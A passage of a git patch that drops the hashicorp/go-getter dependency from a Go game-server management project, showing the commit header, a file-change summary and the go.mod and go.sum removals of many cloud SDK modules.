From f6fbc0b48c8425e5b9a3464a7d8235daa615f663 Mon Sep 17 00:00:00 2001 From: et-nik Date: Thu, 26 Nov 2026 12:40:58 +0100 Subject: [PATCH] drop go getter --- go.mod | 53 - go.sum | 120 -- internal/app/archive/archiver.go | 7 + internal/app/archive/create_tar.go | 6 +- internal/app/archive/decompress_test.go | 91 ++ internal/app/archive/extract.go | 140 +- internal/app/archive/extract_formats.go | 2 +- internal/app/archive/extract_tree.go | 153 ++ internal/app/archive/extract_tree_test.go | 366 +++++ .../app/archive/extract_tree_unix_test.go | 783 +++++++++ .../app/components/customhandlers/get_tool.go | 88 +- .../customhandlers/get_tool_test.go | 125 +- .../customhandlers/get_tool_unix_test.go | 114 ++ internal/app/components/progress_tracker.go | 10 +- .../app/di/internal/definitions/container.go | 11 + .../app/di/internal/definitions/services.go | 1 + internal/app/fetch/contracts.go | 10 + internal/app/fetch/fetch.go | 130 ++ internal/app/fetch/fetch_test.go | 611 +++++++ internal/app/fsutil/copy.go | 33 + internal/app/fsutil/copy_unix_test.go | 189 +++ internal/app/fsutil/opendir.go | 89 ++ internal/app/fsutil/opendir_unix_test.go | 313 ++++ internal/app/game_server_commands/commands.go | 10 + .../game_server_commands/install_server.go | 365 ++++- .../install_server_confinement_unix_test.go | 1408 +++++++++++++++++ .../install_server_steamcmd_unix_test.go | 144 ++ .../app/game_server_commands/os_utils_unix.go | 12 - .../game_server_commands/os_utils_windows.go | 5 - internal/app/osowner/owner.go | 44 +- internal/app/osowner/owner_test.go | 51 +- internal/app/osowner/owner_unix.go | 16 +- internal/app/osowner/owner_unix_test.go | 140 ++ internal/app/osowner/owner_windows.go | 4 +- .../container_install_unix_test.go | 307 ++++ internal/processmanager/docker.go | 60 +- internal/processmanager/install_script.go | 85 + .../install_script_unix_test.go | 301 ++++ internal/processmanager/loader_darwin.go | 9 +- internal/processmanager/loader_linux.go | 9 +- internal/processmanager/loader_windows.go | 7 +- internal/processmanager/podman.go | 30 +- 42 files changed, 6047 insertions(+), 405 deletions(-) create mode 100644 internal/app/archive/decompress_test.go create mode 100644 internal/app/archive/extract_tree.go create mode 100644 internal/app/archive/extract_tree_test.go create mode 100644 internal/app/archive/extract_tree_unix_test.go create mode 100644 internal/app/components/customhandlers/get_tool_unix_test.go create mode 100644 internal/app/fetch/contracts.go create mode 100644 internal/app/fetch/fetch.go create mode 100644 internal/app/fetch/fetch_test.go create mode 100644 internal/app/fsutil/opendir.go create mode 100644 internal/app/fsutil/opendir_unix_test.go create mode 100644 internal/app/game_server_commands/install_server_confinement_unix_test.go create mode 100644 internal/app/game_server_commands/install_server_steamcmd_unix_test.go create mode 100644 internal/app/osowner/owner_unix_test.go create mode 100644 internal/processmanager/container_install_unix_test.go create mode 100644 internal/processmanager/install_script.go create mode 100644 internal/processmanager/install_script_unix_test.go diff --git a/go.mod b/go.mod index b8b7e74..ebc7b12 100644 --- a/go.mod +++ b/go.mod @@ -12,7 +12,6 @@ require ( github.com/gameap/gameapctl v0.34.0 github.com/goccy/go-yaml v1.19.2 github.com/gopherclass/go-shellquote v0.0.0-20200814145606-fab22d094485 - github.com/hashicorp/go-getter v1.8.10 github.com/klauspost/compress v1.20.2 github.com/moby/moby/api v1.56.1 github.com/moby/moby/client v0.6.2 @@ -32,42 +31,11 @@ require ( ) require ( - cel.dev/expr v0.25.3 // indirect - cloud.google.com/go v0.123.0 // indirect - cloud.google.com/go/auth v0.23.3 // indirect - cloud.google.com/go/auth/oauth2adapt v0.2.8 // indirect - cloud.google.com/go/compute/metadata v0.9.1 // indirect - cloud.google.com/go/iam v1.12.0 // indirect - cloud.google.com/go/monitoring v1.30.0 // indirect - cloud.google.com/go/storage v1.68.0 // indirect - github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.35.0 // indirect - github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric v0.57.0 // indirect - github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping v0.57.0 // indirect github.com/Microsoft/go-winio v0.6.2 // indirect github.com/andybalholm/brotli v1.2.7 // indirect - github.com/aws/aws-sdk-go-v2 v1.47.1 // indirect - github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.7.20 // indirect - github.com/aws/aws-sdk-go-v2/config v1.33.6 // indirect - github.com/aws/aws-sdk-go-v2/credentials v1.20.6 // indirect - github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.20.1 // indirect - github.com/aws/aws-sdk-go-v2/internal/configsources v1.5.4 // indirect - github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.8.4 // indirect - github.com/aws/aws-sdk-go-v2/internal/v4a v1.5.4 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.19 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.11.5 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.14.4 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.20.4 // indirect - github.com/aws/aws-sdk-go-v2/service/s3 v1.114.0 // indirect - github.com/aws/aws-sdk-go-v2/service/signin v1.10.1 // indirect - github.com/aws/aws-sdk-go-v2/service/sso v1.38.1 // indirect - github.com/aws/aws-sdk-go-v2/service/ssooidc v1.43.1 // indirect - github.com/aws/aws-sdk-go-v2/service/sts v1.51.1 // indirect - github.com/aws/smithy-go v1.28.1 // indirect - github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d // indirect github.com/bodgit/plumbing v1.3.0 // indirect github.com/bodgit/windows v1.0.1 // indirect github.com/cespare/xxhash/v2 v2.3.0 // indirect - github.com/cncf/xds/go v0.0.0-20260202195803-dba9d589def2 // indirect github.com/containerd/errdefs/pkg v0.3.0 // indirect github.com/cpuguy83/go-md2man/v2 v2.0.7 // indirect github.com/distribution/reference v0.6.0 // indirect @@ -75,23 +43,13 @@ require ( github.com/docker/go-units v0.5.0 // indirect github.com/dustin/go-humanize v1.0.1 // indirect github.com/ebitengine/purego v0.11.2 // indirect - github.com/envoyproxy/go-control-plane/envoy v1.39.1-0.20260819172001-e6e3fd93e4be // indirect - github.com/envoyproxy/protoc-gen-validate v1.3.3 // indirect github.com/felixge/httpsnoop v1.1.0 // indirect - github.com/go-jose/go-jose/v4 v4.1.4 // indirect github.com/go-logr/logr v1.4.4 // indirect github.com/go-logr/stdr v1.2.2 // indirect github.com/go-ole/go-ole v1.2.6 // indirect - github.com/google/s2a-go v0.1.10 // indirect github.com/google/uuid v1.6.0 // indirect - github.com/googleapis/enterprise-certificate-proxy v0.3.22 // indirect - github.com/googleapis/gax-go/v2 v2.24.1 // indirect - github.com/hashicorp/aws-sdk-go-base/v2 v2.0.0-beta.74 // indirect - github.com/hashicorp/go-cleanhttp v0.5.2 // indirect - github.com/hashicorp/go-version v1.9.0 // indirect github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect - github.com/mitchellh/go-homedir v1.1.0 // indirect github.com/moby/docker-image-spec v1.3.1 // indirect github.com/opencontainers/go-digest v1.0.0 // indirect github.com/opencontainers/image-spec v1.1.1 // indirect @@ -102,30 +60,19 @@ require ( github.com/shirou/gopsutil/v3 v3.24.5 // indirect github.com/shoenig/go-m1cpu v0.1.6 // indirect github.com/spf13/afero v1.15.0 // indirect - github.com/spiffe/go-spiffe/v2 v2.8.1 // indirect github.com/stangelandcl/ppmd v0.1.1 // indirect github.com/tklauser/go-sysconf v0.4.0 // indirect github.com/tklauser/numcpus v0.12.0 // indirect github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 // indirect github.com/yusufpapurcu/wmi v1.2.4 // indirect go.opentelemetry.io/auto/sdk v1.2.1 // indirect - go.opentelemetry.io/contrib/detectors/gcp v1.45.0 // indirect - go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.68.0 // indirect go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.69.0 // indirect go.opentelemetry.io/otel v1.45.0 // indirect go.opentelemetry.io/otel/metric v1.45.0 // indirect - go.opentelemetry.io/otel/sdk v1.45.0 // indirect - go.opentelemetry.io/otel/sdk/metric v1.45.0 // indirect go.opentelemetry.io/otel/trace v1.45.0 // indirect go.yaml.in/yaml/v3 v3.0.5 // indirect go4.org v0.0.0-20260112195520-a5071408f32f // indirect - golang.org/x/crypto v0.57.0 // indirect golang.org/x/net v0.60.0 // indirect - golang.org/x/oauth2 v0.37.0 // indirect golang.org/x/text v0.42.0 // indirect - golang.org/x/time v0.16.0 // indirect - google.golang.org/api v0.299.0 // indirect - google.golang.org/genproto v0.0.0-20260715232425-e75dac1f907d // indirect - google.golang.org/genproto/googleapis/api v0.0.0-20260817212433-ac3dfec99bb1 // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20260921155816-b14227669459 // indirect ) diff --git a/go.sum b/go.sum index 32098d6..a2be96e 100644 --- a/go.sum +++ b/go.sum @@ -1,75 +1,7 @@ -cel.dev/expr v0.25.3 h1:A2jO8jwOugrrovveCWfj0KEZOfqiLgAcwjpHPhzIGw0= -cel.dev/expr v0.25.3/go.mod h1:hrXvqGP6G6gyx8UAHSHJ5RGk//1Oj5nXQ2NI02Nrsg4= -cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE= -cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU= -cloud.google.com/go/auth v0.23.3 h1:UMK+oBtuNGMCR/6i6mmySUItqjOazpJrbmZyhGbGBWo= -cloud.google.com/go/auth v0.23.3/go.mod h1:fClbry28fo7XkxhSeT6AQtAVAp6Jy0fW9N99PoPNPFM= -cloud.google.com/go/auth/oauth2adapt v0.2.8 h1:keo8NaayQZ6wimpNSmW5OPc283g65QNIiLpZnkHRbnc= -cloud.google.com/go/auth/oauth2adapt v0.2.8/go.mod h1:XQ9y31RkqZCcwJWNSx2Xvric3RrU88hAYYbjDWYDL+c= -cloud.google.com/go/compute/metadata v0.9.1 h1:CTE1OWBQ0vnF5uHwdFAQJvMQ0Fi/KRcqqKTo9V0F8Ik= -cloud.google.com/go/compute/metadata v0.9.1/go.mod h1:NtnlvB6X3t4R6xSWyVX/ZWk493PCxGQlhI/iqxh4M8I= -cloud.google.com/go/iam v1.12.0 h1:Aki3bX9aHUDKPHfnRJfDcTdVedvy6quGBQcTqx3DRXk= -cloud.google.com/go/iam v1.12.0/go.mod h1:FEZ4lXpADAC2AIpQY7LANNjjwyQ2jK439CI2VaD+sLY= -cloud.google.com/go/logging v1.19.0 h1:NCqhdVUg3wQ8Cobdf16FDSuTGi3+6+hdSBHrY5TsR6Q= -cloud.google.com/go/logging v1.19.0/go.mod h1:i40NZCHC9Gqvod4yE+yQfDWwlgwW/SrshkkGibCHxcA= -cloud.google.com/go/longrunning v1.2.0 h1:WjYH3YHBGCxGJP9M4dWGHBfXr/cFIjMkNgWcJj7/iMM= -cloud.google.com/go/longrunning v1.2.0/go.mod h1:5KMQALFGOCtFoi2xSOA1u3H7WKlhmckgiyFw7+LGQp0= -cloud.google.com/go/monitoring v1.30.0 h1:r/d+JUbyKmJ8b07iznuKfzVzrIXTWxHQ3lBRm3x2LlY= -cloud.google.com/go/monitoring v1.30.0/go.mod h1:htlUR0QWVMrjFzZmN4LGnMAve9xB/eduwjmINxVZ8RM= -cloud.google.com/go/storage v1.68.0 h1:gqrAMJ51OZjYgU6AJ2U60um90YQhSjq8HEIQNtJ4C/8= -cloud.google.com/go/storage v1.68.0/go.mod h1:UsS9OgFg/XHOSYakQ8ZtLWWeyGkk1WnmD/GsGfN0BHM= -cloud.google.com/go/trace v1.16.0 h1:GmQovzFc5F0CNfl0VLgL64aoTtu7xsM0YajW2GlG9+E= -cloud.google.com/go/trace v1.16.0/go.mod h1:r+bdAn16dKLSV1G2D5v3e58IlQlizfxWrUfjx7kM7X0= -github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.35.0 h1:bN1gA3of5bXtbnLsRPrwfmbbe7A5UWFlcTHseujLnpc= -github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.35.0/go.mod h1:Yj5vHEz/aAepZGliRJsA6uvHAVAQyEwajq9ORCHPxzM= -github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric v0.57.0 h1:jLdiS1vO+XJFyDSWRHBx56r4s/NNtcl5J6KyCcWUX/w= -github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric v0.57.0/go.mod h1:8lmpHY+1VRoteiOwyrQMDt1YGXOrFKCz+1wJW7n3ODY= -github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/cloudmock v0.57.0 h1:cSjUzZ7KU8hicTgzaSv9NmSyM9fTVK3y5lsBUl3wOis= -github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/cloudmock v0.57.0/go.mod h1:dzcEjy1WJ0Q4u9twNR3LcLhNoYMRCrMCMafpxa0TjPQ= -github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping v0.57.0 h1:RoO5+d7uCmDqovLrHCr2/BuViUXvdcrNxyNM1pN9dDQ= -github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping v0.57.0/go.mod h1:YqwkQPrWSC7+byyc1VlKbWLBF5JsW5IoL6xUkemYSXk= github.com/Microsoft/go-winio v0.6.2 h1:F2VQgta7ecxGYO8k3ZZz3RS8fVIXVxONVUPlNERoyfY= github.com/Microsoft/go-winio v0.6.2/go.mod h1:yd8OoFMLzJbo9gZq8j5qaps8bJ9aShtEA8Ipt1oGCvU= github.com/andybalholm/brotli v1.2.7 h1:UgafRPGMam5ySHfRkhthMqOFA6IFoeF3D7mWIDLjG5A= github.com/andybalholm/brotli v1.2.7/go.mod h1:rzTDkvFWvIrjDXZHkuS16NPggd91W3kUSvPlQ1pLaKY= -github.com/aws/aws-sdk-go-v2 v1.47.1 h1:uOIZnp4PK3ZhKI0dNrJrhTEsLxbpXHTAJlwoS1pvAtw= -github.com/aws/aws-sdk-go-v2 v1.47.1/go.mod h1:bttEH6JqnUL8LepvDVfdrds/fZ5bCIxzpe3abyUrhDU= -github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.7.20 h1:GPRlPwz40I2B2VrBEASOA3Bi77NyeqejNLkifosX0rs= -github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.7.20/go.mod h1:g7PNzKcsOKWb4fkSRBA7BZVAS6Y8IcxzN+nRohhQ1Q8= -github.com/aws/aws-sdk-go-v2/config v1.33.6 h1:MBjkSTLczek/UgiK+EYPIoRTqE7gP8vtW3OFbFo7Nug= -github.com/aws/aws-sdk-go-v2/config v1.33.6/go.mod h1:grRAFzdAZJrwcbasJRg2MPvIrVjtlfXllHssN6+E1JE= -github.com/aws/aws-sdk-go-v2/credentials v1.20.6 h1:NpAFXCU7NzXNkdGK3zQTtsRJ+3v9tZQV0xcdRw8uBdw= -github.com/aws/aws-sdk-go-v2/credentials v1.20.6/go.mod h1:mcZCoiPnyMvP8VMNbygNX5lLqSlkYJIMPODylQMurOk= -github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.20.1 h1:8gALAAmacnIXh+z6VkdDanv4/IkG5APdg4DZLDTmLog= -github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.20.1/go.mod h1:Z7IJhJU+poOdJjUR2wpyY21ossQ1XS/R3Lk9Msq5kM4= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.5.4 h1:CLq4+8UHCI+ZZYl/EuJxXovaIVN2xeeT8JV+dsApQ5E= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.5.4/go.mod h1:Wv4q5sAM04xAMkoOedxLx2inVf6K5FdxYp+A61L+q/0= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.8.4 h1:dD4MR81I7YkpEBRk6UP9rocC2QnT3qVuXwzlYTtfGEs= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.8.4/go.mod h1:EcXV1kAFd5XwSkDHlj94gnF3q5CkJyYiIJfH8N0VmrE= -github.com/aws/aws-sdk-go-v2/internal/v4a v1.5.4 h1:7Wo47d/xn/7KttCSBd8EGYeZ7ULRFRkUHr6vkZPBzVQ= -github.com/aws/aws-sdk-go-v2/internal/v4a v1.5.4/go.mod h1:tDB2IVC1xC3vX8o+6uRlzhTxP3g1b77CZXFX/oD2FnQ= -github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.19 h1:bAdDl/HkGCcGPoe25ToSHEw23VIxt6CT5fLcg111BKg= -github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.19/go.mod h1:KaUzbLxv4CeSxh6ZCl9B4m7CuFenS8kUEaDs+f/DQr4= -github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.11.5 h1:/TYsZXdA8UTa+WCtCYSAJIr1vwl0+eho6TUgJGwFFO8= -github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.11.5/go.mod h1:qPqp1Uwd/BqdhPufv6oem9j5J7HNsgc2V22dUiDPn+s= -github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.14.4 h1:29SvnfGhXjTl8ONxFwbj2rs6lbhiFXD2CgFQmbT/bXY= -github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.14.4/go.mod h1:wm04I5DMuNVvZHFe/dHnUxincvNbbK7AiNBbYsQivek= -github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.20.4 h1:pPiWfgeNxqluKEph7hvU88kuGKBPOWzO+Dk9t2zqqNs= -github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.20.4/go.mod h1:YlwGoIUDG/3kBQbdNOVs/xKZ9J01G8e/6D1mRBj9uTk= -github.com/aws/aws-sdk-go-v2/service/s3 v1.114.0 h1:VMAdYqr4Jn/8ATs9BHC5riwrs0d6m1Z2ohFriSwZwm0= -github.com/aws/aws-sdk-go-v2/service/s3 v1.114.0/go.mod h1:9APRWGLFITKD+xzWSIyT9V7QV4bNlEuIieWlzXgGFlI= -github.com/aws/aws-sdk-go-v2/service/signin v1.10.1 h1:DzCCWLzcIRQ77F3DEUljud7bEjTgFOIKXP52NmVRyhU= -github.com/aws/aws-sdk-go-v2/service/signin v1.10.1/go.mod h1:xpo/geVldu8payT375WekctUzopG/hBU7miiqItMUlw= -github.com/aws/aws-sdk-go-v2/service/sso v1.38.1 h1:Umtl/0YZhng4xndfW3lKJrYYP7NLEjI6bGXVomwLcs0= -github.com/aws/aws-sdk-go-v2/service/sso v1.38.1/go.mod h1:rRD/dnm7q0HYE/I5TMaPgkWyyUGLcwuxHLABsLnQ3e0= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.43.1 h1:orIWdNiLgzrhu/11RcPPKO/SBzUUymbUQuZbSPImghg= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.43.1/go.mod h1:skwM/xsbR/1ReUTesv9BhpJp1VjajR7DWQnuVLwiXsQ= -github.com/aws/aws-sdk-go-v2/service/sts v1.51.1 h1:0HOqZXRvMytH6bFHVIc0oJX07sZjfhz0zXtjs6gdE8s= -github.com/aws/aws-sdk-go-v2/service/sts v1.51.1/go.mod h1:26zA0GhDrLo+yiLI2yXWxqB1PdsShfLikoI7GOEgugM= -github.com/aws/smithy-go v1.28.1 h1:R/nXH00c8qcfCzQVELtRw+eLQWtzv+VAIEFJ1/xxXlQ= -github.com/aws/smithy-go v1.28.1/go.mod h1:YE2RhdIuDbA5E5bTdciG9KrW3+TiEONeUWCqxX9i1Fc= -github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d h1:xDfNPAt8lFiC1UJrqV3uuy861HCTo708pDMbjHHdCas= -github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d/go.mod h1:6QX/PXZ00z/TKoufEY6K/a0k6AhaJrQKdFe6OfVXsa4= github.com/bodgit/plumbing v1.3.0 h1:pf9Itz1JOQgn7vEOE7v7nlEfBykYqvUYioC61TwWCFU= github.com/bodgit/plumbing v1.3.0/go.mod h1:JOTb4XiRu5xfnmdnDJo6GmSbSbtSyufrsyZFByMtKEs= github.com/bodgit/sevenzip v1.6.5 h1:7H7BxgmeX0j6UX42lH+KXQ92WgMQJ49DoocFdfHbCng= @@ -78,8 +10,6 @@ github.com/bodgit/windows v1.0.1 h1:tF7K6KOluPYygXa3Z2594zxlkbKPAOvqr97etrGNIz4= github.com/bodgit/windows v1.0.1/go.mod h1:a6JLwrB4KrTR5hBpp8FI9/9W9jJfeQ2h4XDXU74ZCdM= github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/cncf/xds/go v0.0.0-20260202195803-dba9d589def2 h1:aBangftG7EVZoUb69Os8IaYg++6uMOdKK83QtkkvJik= -github.com/cncf/xds/go v0.0.0-20260202195803-dba9d589def2/go.mod h1:qwXFYgsP6T7XnJtbKlf1HP8AjxZZyzxMmc+Lq5GjlU4= github.com/containerd/errdefs v1.0.0 h1:tg5yIfIlQIrxYtu9ajqY42W3lpS19XqdxRQeEwYG8PI= github.com/containerd/errdefs v1.0.0/go.mod h1:+YBYIdtsnF4Iw6nWZhJcqGSg/dwvV7tyJ/kCkyJ2k+M= github.com/containerd/errdefs/pkg v0.3.0 h1:9IKJ06FvyNlexW690DXuQNx2KA2cUJXx151Xdx3ZPPE= @@ -107,22 +37,12 @@ github.com/ebitengine/purego v0.11.2 h1:WWiTx8rD8zYdOwSj8O/NiNbsOvSAgJMTlyV1XlbU github.com/ebitengine/purego v0.11.2/go.mod h1:DCHPP08djqhNSoTfImcnHYQRZmd0qhakvrozqaEYhGQ= github.com/emirpasic/gods v1.18.1 h1:FXtiHYKDGKCW2KzwZKx0iC0PQmdlorYgdFG9jPXJ1Bc= github.com/emirpasic/gods v1.18.1/go.mod h1:8tpGGwCnJ5H4r6BWwaV6OrWmMoPhUl5jm/FMNAnJvWQ= -github.com/envoyproxy/go-control-plane v0.14.0 h1:hbG2kr4RuFj222B6+7T83thSPqLjwBIfQawTkC++2HA= -github.com/envoyproxy/go-control-plane v0.14.0/go.mod h1:NcS5X47pLl/hfqxU70yPwL9ZMkUlwlKxtAohpi2wBEU= -github.com/envoyproxy/go-control-plane/envoy v1.39.1-0.20260819172001-e6e3fd93e4be h1:SWe0x6yfglnxuvOiYgTTnNq7QD/yvqthOh1RBI8Bj8w= -github.com/envoyproxy/go-control-plane/envoy v1.39.1-0.20260819172001-e6e3fd93e4be/go.mod h1:PYEOlng9XcrulfyWpm49jECTPV0LT4q8cO7fLW/xwgk= -github.com/envoyproxy/go-control-plane/ratelimit v0.1.0 h1:/G9QYbddjL25KvtKTv3an9lx6VBE2cnb8wp1vEGNYGI= -github.com/envoyproxy/go-control-plane/ratelimit v0.1.0/go.mod h1:Wk+tMFAFbCXaJPzVVHnPgRKdUdwW/KdbRt94AzgRee4= -github.com/envoyproxy/protoc-gen-validate v1.3.3 h1:MVQghNeW+LZcmXe7SY1V36Z+WFMDjpqGAGacLe2T0ds= -github.com/envoyproxy/protoc-gen-validate v1.3.3/go.mod h1:TsndJ/ngyIdQRhMcVVGDDHINPLWB7C82oDArY51KfB0= github.com/felixge/httpsnoop v1.1.0 h1:3YtUj32ZZkqZtt3sZZsClsymw/QDuVfpNhoA31zeORc= github.com/felixge/httpsnoop v1.1.0/go.mod h1:Zqxgdd+1Rkcz8euOqdr7lqgCRJztwr5hp9vDSi5UZCE= github.com/gameap/gameap v0.0.0-20261117172108-d6ea2698d6dc h1:LMVh7qTvigb0Q/Fqj7Pd9SFIl3A2E6MUCuq3Ctr2J4A= github.com/gameap/gameap v0.0.0-20261117172108-d6ea2698d6dc/go.mod h1:RAzSBEIOhFOQNuifdmpZmPyTArWvZacSmHHOsZd4Km0= github.com/gameap/gameapctl v0.34.0 h1:OJvAFEkONLk1Uhzj2vv2cZLuwXJwL3fqOySy3jIKUGI= github.com/gameap/gameapctl v0.34.0/go.mod h1:GEUPbmHDrnFYxVUqN3FpE7afnrEQkjtdrlK96ENeHkE= -github.com/go-jose/go-jose/v4 v4.1.4 h1:moDMcTHmvE6Groj34emNPLs/qtYXRVcd6S7NHbHz3kA= -github.com/go-jose/go-jose/v4 v4.1.4/go.mod h1:x4oUasVrzR7071A4TnHLGSPpNOm2a21K9Kf04k1rs08= github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= github.com/go-logr/logr v1.4.4 h1:tG4xh9yMsRCAiodLVTxyrkzSZ9+o0L1Kg/+cPVcbP/8= github.com/go-logr/logr v1.4.4/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= @@ -137,26 +57,10 @@ github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6 github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= -github.com/google/martian/v3 v3.3.3 h1:DIhPTQrbPkgs2yJYdXU/eNACCG5DVQjySNRNlflZ9Fc= -github.com/google/martian/v3 v3.3.3/go.mod h1:iEPrYcgCF7jA9OtScMFQyAlZZ4YXTKEtJ1E6RWzmBA0= -github.com/google/s2a-go v0.1.10 h1:EMp+aOuXN6l8cE/gjF5Bt+vyZxsUuyCWe9chDWR/+uU= -github.com/google/s2a-go v0.1.10/go.mod h1:pz4tyvwXvJLLbyrkh6FW1eS2zPUXMaTmyNhYtyP2tNw= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/googleapis/enterprise-certificate-proxy v0.3.22 h1:NU4XpII6jD+Dxcot94fqjE+AfJoE/lQP9q3faYGzC/c= -github.com/googleapis/enterprise-certificate-proxy v0.3.22/go.mod h1:L3D/IQExI6LqEjBdXcZQ1WluSgigQmSwBboFstVPM4w= -github.com/googleapis/gax-go/v2 v2.24.1 h1:AtqTN21IXMMWo99LiEVAiBfNNQmO40d8xUfZI640mc0= -github.com/googleapis/gax-go/v2 v2.24.1/go.mod h1:bWeBei0NVwaNZKb2y1HUBS7gLXIF3/Tu3pq7j8D2Tb0= github.com/gopherclass/go-shellquote v0.0.0-20200814145606-fab22d094485 h1:1bPYu0COEL28IzKZwQN+uQIGuX31YFr3r+m3TU6hqh8= github.com/gopherclass/go-shellquote v0.0.0-20200814145606-fab22d094485/go.mod h1:aSawckur6IQmYgHum1MMf1oU1g1uT1Hz2e+cMvrs2Ww= -github.com/hashicorp/aws-sdk-go-base/v2 v2.0.0-beta.74 h1:mymLUKThnV9wFvogOK8NnsMP9/vlhnjXY98gr2QIGW8= -github.com/hashicorp/aws-sdk-go-base/v2 v2.0.0-beta.74/go.mod h1:Bh9qYL8ehmDxSg14Tk8oxFCP90XHfs6NxV1D84884xA= -github.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ= -github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= -github.com/hashicorp/go-getter v1.8.10 h1:uufJp+uacA0fSDRxclsHkiE6yUQTKgwv5b25QexgVM8= -github.com/hashicorp/go-getter v1.8.10/go.mod h1:5HyKGCQmT+I3MGAM76vk/fWpktjwxn7xruCUr9CrVuo= -github.com/hashicorp/go-version v1.9.0 h1:CeOIz6k+LoN3qX9Z0tyQrPtiB1DFYRPfCIBtaXPSCnA= -github.com/hashicorp/go-version v1.9.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k= github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A= @@ -165,8 +69,6 @@ github.com/klauspost/compress v1.20.2/go.mod h1:LUdAzn7YLVvxLpc7y3V1m40wESHTgc14 github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek= github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 h1:6E+4a0GO5zZEnZ81pIr0yLvtUWk2if982qA3F3QD6H4= github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I= -github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y= -github.com/mitchellh/go-homedir v1.1.0/go.mod 